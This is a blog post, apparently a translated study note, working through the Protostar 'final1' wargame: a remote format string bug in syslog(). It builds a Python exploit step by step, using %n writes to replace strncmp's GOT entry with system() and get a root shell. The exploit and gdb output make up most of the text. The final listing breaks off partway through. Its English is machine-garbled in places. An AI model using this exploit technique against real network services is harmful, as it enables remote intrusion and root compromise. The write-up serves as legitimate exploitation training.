Security_RNRF

0x31. 본문

LiveOverFlow/Binary

0x31.

RNRF 2021. 11. 3. 01:05

31. Remote format string exploit in syslog() - bin.0x1E

: "final1" has a type string vulnerability that can be exploited remotely.

: Like all previous problems, the program runs as a network daemon in this case.
-> Port 2994 is defined.
-> Therefore, you can use "netcat" to connect to this service, which displays the "final1" prompt.
-> nc 127.0.0.1 2994
[final1] $ ping # this is called a prompt
[final1] $ test # no response?
[final1] $ help
[final1] $
-> But if you type something, you can't see anything.
-> We are already know about the format string for vulnerability and can try it.
-> Insert some characters, such as "%x", but equally nothing happens.
-> If you remember, try "%s" because the value in the stack uses the address.
[final1] $ %x %x %x %x
[final1] $ %s %s %s %s %s %s
-> The location of the string, therefore, if the value in the stack does not point to a valid memory, the program must crash, which may be another indication of the type string vulnerability.
-> But not. Nor does anything happen.
[final1] $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[final1] $ [final1] $ [final1] $ [final1] $
-> You may want to send a very long string to see if there is a buffer overflow.
-> But the program crashes, but it doesn't work the same way.
-> You can see that the prompt has now returned several times.
-> Programs have always sent too many characters at a time, reading a limited amount of characters.
-> But I could read the reading loop many times.

: C Code(/opt/protostar/bin/final1)
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf); # !!!?
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) { # system(”ls -al”);
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6); # “Login |password”
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */ # network daemon setup
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();

}
: Now let's take a look at the source code.
-> "main" calls two functions after setting up all networking.
-> The first is "getiSupport()" and the second is "parser().
-> "getiport" calls the "getpeername()" function, so let's look at the relevant information.
-> man getpeername
SYNOPSIS
       #include <sys/socket.h>

       int   getpeername(int   sockfd,   struct   sockaddr  *addr,  socklen_t
       *addrlen);
DESCRIPTION
       getpeername() returns the address of the peer connected to the  socket
       sockfd, in the buffer pointed to by addr.
-> "getpeername()" returns the address of the peer to the socket "sockfd" from the buffer. Pointed to by addr.
-> You can also see the definition of source "sockaddr_in".
-> The IP address and source port of the client connected to the socket.
: You can see exactly what the structure looks like on the manual page of the IP.
-> man 7 ip (Part of the ip manual page.)
Address Format
       An  IP  socket  address is defined as a combination of an IP interface
       address and a 16-bit port number.  The basic IP protocol does not sup‐
       ply  port numbers, they are implemented by higher level protocols like
       udp(7) and tcp(7).  On raw sockets sin_port is set to the IP protocol.

           struct sockaddr_in {
               sa_family_t    sin_family; /* address family: AF_INET */
               in_port_t      sin_port;   /* port in network byte order */
               struct in_addr sin_addr;   /* internet address */
           };

           /* Internet address. */
               struct in_addr {
               uint32_t       s_addr;     /* address in network byte order */
           };
-> By default, the port number and IP address are included, and the IP address is a 32-byte integer.
-> In addition, "sprintf" writes this generated string to the global variable, the hostname.
: When this function is complete, the code calls "parser()"
-> And "parser()" prints out the "final1" prompt that we already know.
-> Then, use "fgets" to read 128 bytes into the line buffer.
-> Then, use the line-up to find the first item in the line-up or line-up.
-> replace it with "0".
-> By default, cut the line in this position.
-> Then check whether the string entered starts with "username" or "login".
-> There is a special order for the prompt.
-> Entering "username" will copy whatever the string is, so additional data is required.
-> The "username" section followed by the “global variable” + "username".
-> Use the "login" command to verify that you have specified a user name.
-> Otherwise, it indicates that it is following the wrong protocol.
-> However, if you previously specified a user name, call "logit" with a pointer to the string.
: This is because I need a password after I log in.
-> The password is not used for "logit" and is only a model for the challenge.
-> Use buffer and write "snprintf".
-> And by default, create a row of log entries that there was an attempt to log in.
-> Specific clients of specific users with specific passwords and this string is recorded in the system log.
-> This function is then returned and "login failed" is output.

: Think about it and try the prompt again.
-> nc 127.0.0.1 2994
[final1] $ username LiveOverflow
[final1] $ login my_password
login failed
[final1] $ ^C
-> And it does as we expect.
-> This failed login attempt must now be recorded in "syslog".
-> Let's check the "syslog".
-> cat /var/log/syslog
cat: /var/log/syslog: Permission denied
-> It must be "root" to read the file.
-> su root
Password:(godmode)
-> Import only the last few lines of the file (/var/log/syslog).
-> tail /var/log/syslog
Nov  1 21:20:01 (none) mpt-statusd: detected non-optimal RAID status
Nov  1 21:20:54 (none) dhclient: DHCPREQUEST on eth0 to 192.168.70.254 port 67
Nov  1 21:20:54 (none) dhclient: DHCPACK from 192.168.70.254
Nov  1 21:20:54 (none) dhclient: bound to 192.168.70.130 -- renewal in 774 seconds.
Nov  1 21:30:01 (none) mpt-statusd: detected non-optimal RAID status
Nov  1 21:33:48 (none) dhclient: DHCPREQUEST on eth0 to 192.168.70.254 port 67
Nov  1 21:33:48 (none) dhclient: DHCPACK from 192.168.70.254
Nov  1 21:33:48 (none) dhclient: bound to 192.168.70.130 -- renewal in 693 seconds.
Nov  1 21:37:01 (none) final1: Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
Nov  1 21:40:01 (none) mpt-statusd: detected non-optimal RAID status
-> And a record of "final1" login attempts with "LiveOverflow" is shown on this source IP and source port.

: But where are the format string vulnerabilities?
-> There is no "printf" controlling the "format" parameter.
-> Perhaps we do not yet fully understand the code.
-> We must read this code with a specific assumption without doubt that this assumption is true.
-> The meaning of hacking is to have a deeper understanding of computers.
: In fact, there's one feature here that's lazy and brushing.
-> We didn't investigate this new feature, "syslog".(-> syslog(LOG_USER|LOG_DEBUG, buf);)
-> You shouldn't think that you know all the dangerous functions that have solved the simple challenge of every video you've seen so far. Don't be lazy and read the manual page.
-> man syslog
SYNOPSIS
       #include <syslog.h>

       void openlog(const char *ident, int option, int facility);
       void syslog(int priority, const char *format, ...);
       void closelog(void);

DESCRIPTION
       closelog() closes the descriptor being used to  write  to  the  system
       logger.  The use of closelog() is optional.

       openlog()  opens a connection to the system logger for a program.  The
       string pointed to by ident is prepended to every message, and is typi‐
       cally  set  to  the program name.  The option argument specifies flags
       which control the operation of openlog() and subsequent calls to  sys‐
       log().  The facility argument establishes a default to be used if none
       is specified in subsequent calls to syslog().  Values for  option  and
       facility  are  given below.  The use of openlog() is optional; it will
       automatically be called by syslog() if necessary, in which case  ident
       will default to NULL.

       syslog()  generates  a  log message, which will be distributed by sys‐
       logd(8).  The priority argument is formed by ORing  the  facility  and
       the  level  values  (explained  below).  The remaining arguments are a
       format, as in printf(3) and any  arguments  required  by  the  format,
       except  that  the  two  character  sequence %m will be replaced by the
       error message string strerror(errno).  A trailing newline may be added
       if needed.
-> The "syslog" manual page shows that the second parameter is formatted.
-> "syslog()" generates a log message distributed by "syslogd(8)".
-> The priority argument is formed by ORing the facility and the level values (explained below).
-> The remaining arguments are in the same format as "printf (3)".
-> And "buf" in "logit()" is a format parameter.
-> "buf" will simply include the user name and password you entered.

: Let's log in with "%x" things.
-> nc 127.0.0.1 2994
[final1] $ username %x %x %x %x %x $x
[final1] $ login %x %x %x %x %x $x
login failed
-> After a failed login, check for "syslog".
-> tail /var/log/syslog
Nov  1 21:50:01 (none) mpt-statusd: detected non-optimal RAID status
Nov  1 21:53:04 (none) kernel: [132840.467013] usb 2-2.1: USB disconnect, address 23
Nov  1 21:53:05 (none) kernel: [132840.768466] usb 2-2.1: new full speed USB device using uhci_hcd and address 24
Nov  1 21:53:05 (none) kernel: [132840.940083] usb 2-2.1: New USB device found, idVendor=0e0f, idProduct=0008
Nov  1 21:53:05 (none) kernel: [132840.940085] usb 2-2.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Nov  1 21:53:05 (none) kernel: [132840.940087] usb 2-2.1: Product: Virtual Bluetooth Adapter
Nov  1 21:53:05 (none) kernel: [132840.940088] usb 2-2.1: Manufacturer: VMware
Nov  1 21:53:05 (none) kernel: [132840.940089] usb 2-2.1: SerialNumber: 000650268328
Nov  1 21:53:05 (none) kernel: [132840.940446] usb 2-2.1: configuration #1 chosen from 1 choice
Nov  1 21:54:56 (none) final1: Login from 127.0.0.1:49625 as [8049ee4 804a2a0 804a220 bffffbd6 b7fd7ff4 $x] with password [bffffa28 69676f4c 7266206e 31206d6f 302e3732 $x]
-> In parentheses, you can see the leaked values from the stack.
-> Now we've identified the bug.
-> And in the previous format of the string exploit video(0x13), we found that it was a good strategy to overwrite.
-> The address of a global offset table with other functions, such as the system executing a command.
-> Think about features that are convenient for overwriting.
-> I think "strncmp" is a great function because it controls the first parameter.
-> "line" and the system executes the object using the first parameter of the string.
-> Therefore, by replacing "strncmp" with "system", you can simply enter the line and run the shell. (strncmp -> system)

: Now let's make an exploit.
(ing) -> vim final1.py
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

username = ''
login = ''

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send(username)
print read_until("[final1] $ ")
s.send(login)
print read_until("[final1] $ ")
-> We bring something important, and we set up a remote socket connection as we use it.
-> And you can create a new function called "read_until." It is very useful for this kind of remote service problem.
-> Therefore, read the buffer until it is filled with a single character read.
-> Magic string specified by "read_until".
-> And we simply read the "final1" prompt.
-> And we can do our job.
-> First, specify the user name.
-> Read until the next prompt, then specify your login password and read again until the next time.
-> Another trick used here is a "raw_input()" function. This actually reads the user's input.
-> For reasons of use, it is very convenient for Python to pause the script for a while until we hit the entry.
-> Now, when you run this, connect to the service and wait until it hits.
-> python final1.py
[final1] $
waiting... hit [enter] # waiting for user input
-> Now you can see two things when you make sure that the running process is the final process.
-> ps aux | grep final1
root      1661  0.0  0.0   1532   276 ?        Ss   Oct31   0:00 /opt/protostar/bin/final1
root      8812  0.0  0.1   8800  3744 pts/0    S+   22:11   0:00 python final1.py
root      8813  0.0  0.0   1532   288 ?        S    22:11   0:00 /opt/protostar/bin/final1
root      8842  0.0  0.0   3296   728 pts/1    S+   22:13   0:00 grep final1
-> pidof final1
8813 1661
-> One is the parent "daemon" and the new higher process is where the "ID" is remembered. That is, the Sponsored Child that handles client connections.
-> Therefore, "gdb" can be attached to the process and addresses of important symbols can be collected.
-> gdb --pid 8813
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Attaching to process 8813
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      ../sysdeps/unix/syscall-template.S: No such file or directory.
        in ../sysdeps/unix/syscall-template.S
-> First, find the address of "strncmp" in the global offset table.
-> Information functions and search terms allow you to quickly find the function trampoline in "plt".
-> info functions strncmp
All functions matching regular expression "strncmp":

File strncmp.c:
int *__GI_strncmp(const char *, const char *, size_t);

File ../sysdeps/i386/i486/bits/string.h:
int __strncmp_g(const char *, const char *, size_t);

Non-debugging symbols:
0x08048d9c  strncmp
0x08048d9c  strncmp@plt
Current language:  auto
The current source language is "auto; currently asm".
-> We can take down the guidelines and we can be seen to move on to the address.
-> x/3i 0x08048d9c
0x8048d9c <strncmp@plt>:        jmp    *0x804a1a8
0x8048da2 <strncmp@plt+6>:      push   $0x160
0x8048da7 <strncmp@plt+11>:     jmp    0x8048acc
-> It is stored here.(0x804a1a8)
-> And this points to the global offset table and clearly includes the actual address. From "libc" to "strncmp”.
-> x/xw 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x08048da2
-> This is the address of the object we are trying to overwrite.
: The following is the system address.
-> x system
0xb7ecffb0 <__libc_system>:     0x890cec83
-> info symbol system
system in section .text of /lib/libc.so.6
-> The system is part of the "libc" where you can get an address quickly.
-> Generally "libc" is randomized these days by "ASLR," but still works this way in this old "linux" system or in embedded devices.
-> In real-life newer systems, addresses must first be leaked from memory.
-> Calculates the offset and stops "ASLR".
-> Now we have the address we want to write on it.
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0

username = ''
login = ''

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send(username)
print read_until("[final1] $ ")
s.send(login)
print read_until("[final1] $ ")
-> cat /var/log/syslog
Nov  1 21:37:01 (none) final1: Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
-> In addition, results of the log messages include ip and port sauce, which may vary.
-> "localhost" which are derived from different from the remote host.
-> So we need to add this to the exploit and make it reliable.
-> This task uses "getpeername" to import the peer's IP and ports.
-> Therefore we can get our own name by using the same thing. "getsockname()".
-> Now we know the source IP and port and can write code accordingly.
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
username = ''
login = ''

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send(username)
print read_until("[final1] $ ")
s.send(login)
print read_until("[final1] $ ")
-> Now we know the source IP and port and can write code accordingly.
-> Tips.) In fact, reading a code in this way is very terrible. Now, let's read the code after applying the syntax code enhancement from the beginning.
-> (ESC):syntax on
: Review the previously recorded lines.
-> cat /var/log/syslog
Nov  1 21:54:56 (none) final1: Login from 127.0.0.1:49625 as [8049ee4 804a2a0 804a220 bffffbd6 b7fd7ff4 $x] with password [bffffa28 69676f4c 7266206e 31206d6f 302e3732 $x]
-> python
>>> '69676f4c'.decode('hex')
'igoL'
>>> '69676f4c'.decode('hex')[::-1]
'Logi'
-> These characters at the end look like Aski, and when converted using Python, they spell "Logi..." and so on.
: Repeat this word using recognizable characters to find the user name.
-> nc 127.0.0.1 2994
[final1] $ username AAAA %x %x %x %x %x %x %x %x
[final1] $ login BBBB %x %x %x %x %x %x %x %x
login failed
-> tail /var/log/syslog
Nov  1 22:46:47 (none) final1: Login from 127.0.0.1:49627 as [AAAA 8049ee4 804a2a0 804a220 bffffbd6 b7fd7ff4 bffffa28 69676f4c 7266206e] with password [BBBB 31206d6f 302e3732 312e302e 3639343a 61203732 415b2073 20414141 25207825]
-> And there it is. Thus, about 14 "POPs" were needed to reach the user name using "AAAA".
-> "A" was not perfectly aligned.
-> Therefore, the first step is to adjust the amount of "A" to make it constant.
-> This will be the known alignment offset.
-> Thus, the host name is 15 characters long. (= 127.0.0.1:49627 = 15 chars)
-> And one more "A" filled and allocated memory.
-> So let's think about the shortest and longest hostname.
-> python
>>> len('0.0.0.0:0')
9
>>> len('000.000.000.000:00000')
21
-> The shortest is "9" and the longest is "21".
-> We fill in the char "24" because we prefer to align the multiples of 4 with 32 bits. (21 -> 24)
-> Thus, taking the length of the host name and subtracting it from "24" shows how many "A"s there are.
-> Then try again using "%x" in the user name.
-> Don't forget to line up when the test input is complete.
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = 'BBBB'+'%08x '*28
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send(username+"\n")
print read_until("[final1] $ ")
s.send(login+"\n")
print read_until("[final1] $ "
-> python final1.py
[final1] $
waiting... hit [enter]
[final1] $ # “login failed” missing.
[final1] $
-> But it doesn't work. What did you do wrong?
-> I had forgotten my username and login command.
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = 'BBBB'+'%08x '*28 # 28*5 = 140
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
-> python final1.py
[final1] $
waiting... hit [enter]
[final1] $
[final1] $ # still no fail message
-> But it still doesn't work.
-> The line can only be 128 bytes long, but we send a lot more with 28 of these "%x".
-> Change "28" to "20".
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = 'BBBB'+'%08x '*20
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
-> python final1.py
[final1] $
waiting... hit [enter]
[final1] $
login failed # yeah~!
[final1] $
-> You will now see a failed login message.
-> Look at "syslog" and look for "B".
-> cat /var/log/syslog
Nov  1 23:07:57 (none) final1: Login from 127.0.0.1:49630 as [BBBB08049ee4 0804a2a0 0804a220 bffffbd6 b7fd7ff4 bffffa28 69676f4c 7266206e 31206d6f 302e3732 312e302e 3639343a 61203033 425b2073 25424242 20783830 78383025 38302520 30252078 25207838 ] with password [CCCC]
-> I forgot to add padding with "A".
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+'%08x '*20
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
-> python final1.py
[final1] $
waiting... hit [enter]
[final1] $
login failed
[final1] $
-> cat /var/log/syslog
Nov  1 23:18:33 (none) final1: Login from 127.0.0.1:49631 as [AAAAAAAAABBBB08049ee4 0804a2a0 0804a220 bffffbd6 b7fd7ff4 bffffa28 69676f4c 7266206e 31206d6f 302e3732 312e302e 3639343a 61203133 415b2073 41414141 41414141 42424242 78383025 38302520 30252078 ] with password [CCCC]
-> Now "B" is in full alignment.
-> Now it doesn't matter which "IP" or port you have and it always exists correctly.
-> And we can count the words in the stack and get the offset 17. (offset 17 = 42424242)
: Now you can point to "17" using a single "%x" in dollar notation.
(ing) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$08x %18$08n' # 17th element
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
-> parameter, 17th value of stack
-> For example, you can address global offset table entries for "strncmp".
-> Put it in the string here and write it to that address using "%n".
: Now we need to figure out how big a padding is needed to write the value.
-> If it's confusing, you can watch the video again from the previous format string.
-> Therefore, before you run it now, add another "raw_input" to prevent the script from shutting down.
-> We execute it and attach it as "gdb" and observe the "GOT" entry for "strncmp".
(python) -> python final1.py
[final1] $
waiting... hit [enter]
(other) -> pidof final1
9086 1661
->  gdb --pid 9086
x/xw 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x08048da2 # Log failed Login
Current language:  auto
The current source language is "auto; currently asm".
-> c
Continuing.
(python) -> (ENTER)
[final1] $
login failed
[final1] $
(other) -> (Ctrl+C)
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
-> x/wx 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x00000039 # It shall be changed to "0xffb0".
-> I overwritten my login attempt.
-> Our goal is "0xffb0", the lower part of the system address.
: Now you can calculate the correct number of characters to print.
-> This is basically how the process works.
-> We write "%n" on the address, check the number, calculate the missing amount or method.
-> python
>>> 0xffb0 - 0x00000039 + 8 # calculate missing chars
65407 
(python) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n' # 17th element
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
(python) -> python fianl1.py
[final1] $
waiting... hit [enter]
(other) -> pidof final1
9172 1661
-> gdb --pid 9172
-> c
Continuing.
(python) -> (ENTER)
[final1] $
login failed
[final1] $
waiting... hit [enter]
(other) -> (Ctrl+C)
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
-> x/wx 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x0000ffb0
-> In the case of our over-shooting, we modified the number of characters to be printed and configured the entire address of the system.
-> It is very annoying, silly, and takes a lot of time, but it's very good to get it first.
-> python
>>> 0x1b7ec - 0xffbf + 8
47157
(python) -> vim final1.py
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
STRNCMP2 = struct.pack("I", 0x804a1a8+2)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n  '+STRNCMP2+'%17$47157x %24$08n'
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
-> python final1.py
[final1] $
waiting... hit [enter]
(other) -> pidof final1
9251 1661
-> gdb --pid 9251
-> c
Continuing.
(python) -> (ENTER)
[final1] $
login failed
[final1] $
waiting... hit [enter]
(other) -> (Ctrl+C)
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
-> x/wx 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0xb7ecffb0
-> x 0xb7ecffb0
0xb7ecffb0 <__libc_system>:     0x890cec83
-> The offset is now correctly obtained and the address is overwritten with the system address.
-> Now we can interact with the program and theoretically add the "telnetlib" trick.
-> All calls to "strncmp" call the system instead.
-> If you look at the code and think about it, you can write something at the prompt.
-> You can enter commands as if they were in a real shell when prompted.
-> Every loop where the program reads our line and calls "strncmp" actually calls the system and executes the command.
(ing) -> vim final1.py
import socket
import struct
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
STRNCMP2 = struct.pack("I", 0x804a1a8+2)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n  '+STRNCMP2+'%17$47157x %24$08n' # why 2 space???
login = 'CCCC'

print read_until("[final1] $ ")
# raw_input('waiting... hit [enter]')
s.send('username '+username+"\n")
print read_until("[final1] $ ")
s.send('login '+login+"\n")
print read_until("[final1] $ ")
# raw_input('waiting... hit [enter]')

t = telnetlib.Telnet()
t.sock = s
t.interact()
-> python final1.py
[final1] $
[final1] $
login failed
[final1] $
id
uid=0(root) gid=0(root) groups=0(root)
[final1] $ whoami
root
-> And again we copy the exploit to Python in the "Windows" system, copy the "IP" address, press "VM" and then import the remote shell.
-> ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:89:ae:5b brd ff:ff:ff:ff:ff:ff
    inet 192.168.70.130/24 brd 192.168.70.255 scope global eth0
    inet6 fe80::20c:29ff:fe89:ae5b/64 scope link
       valid_lft forever preferred_lft forever
-> Windows python IDLE
import socket
import struct
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.70.130', 2994))

def read_until(check):
        buffer = ''
        while check not in buffer:
                buffer += s.recv(1)     # read 1 char
        return buffer

STRNCMP = struct.pack("I", 0x804a1a8)
STRNCMP2 = struct.pack("I", 0x804a1a8+2)
# overwrite location with system() 0xb7ecffb0
# Login from 127.0.0.1:49623 as [LiveOverflow] with password [my_password]
ip, port = s.getsockname()
hostname = ip+":"+str(port)
